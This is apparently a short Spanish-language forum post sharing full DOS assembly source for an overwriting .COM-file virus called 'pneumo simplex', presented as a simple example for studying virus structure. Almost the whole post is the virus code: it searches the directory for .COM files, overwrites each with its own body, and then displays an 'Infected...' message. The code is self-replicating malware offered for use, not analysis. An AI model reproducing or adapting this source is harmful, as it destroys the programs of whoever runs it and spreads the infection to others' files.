Aqui otro virus de reescritura ... bstante simple para ver su estructura.
org 100h
virus_start:
jmp go
db 'pneumo simplex','0'
go:
mov ah, 4Eh ; find first file
mov dx, comfiles
xor cl, cl
int 21h
cmp ax, 0
je infect
abort:
mov ah, 4Ch ; exit to dos
int 21h
infect:
mov ax, 3D01h ; open file, write mode
mov dx, 9Eh
int 21h
jc abort
mov bx, ax
mov ah, 40h ; write to file
mov dx, 100h ; start of virus
mov cx, virus_end - virus_start
int 21h
jc abort
mov ah, 3Eh ; close file
int 21h
loop_start:
mov ah, 4Fh ; find next file
int 21h
cmp ax, 0
je infect
mov ah, 9h ; show payload
mov dx, payload
int 21h
jmp abort
comfiles:
db '*.COM', 0 ; trailing 0 must not be enclosed
payload:
db 'Infected...',13,10,'$'
virus_end: ; capitolize .COM
by: dd
Saludos!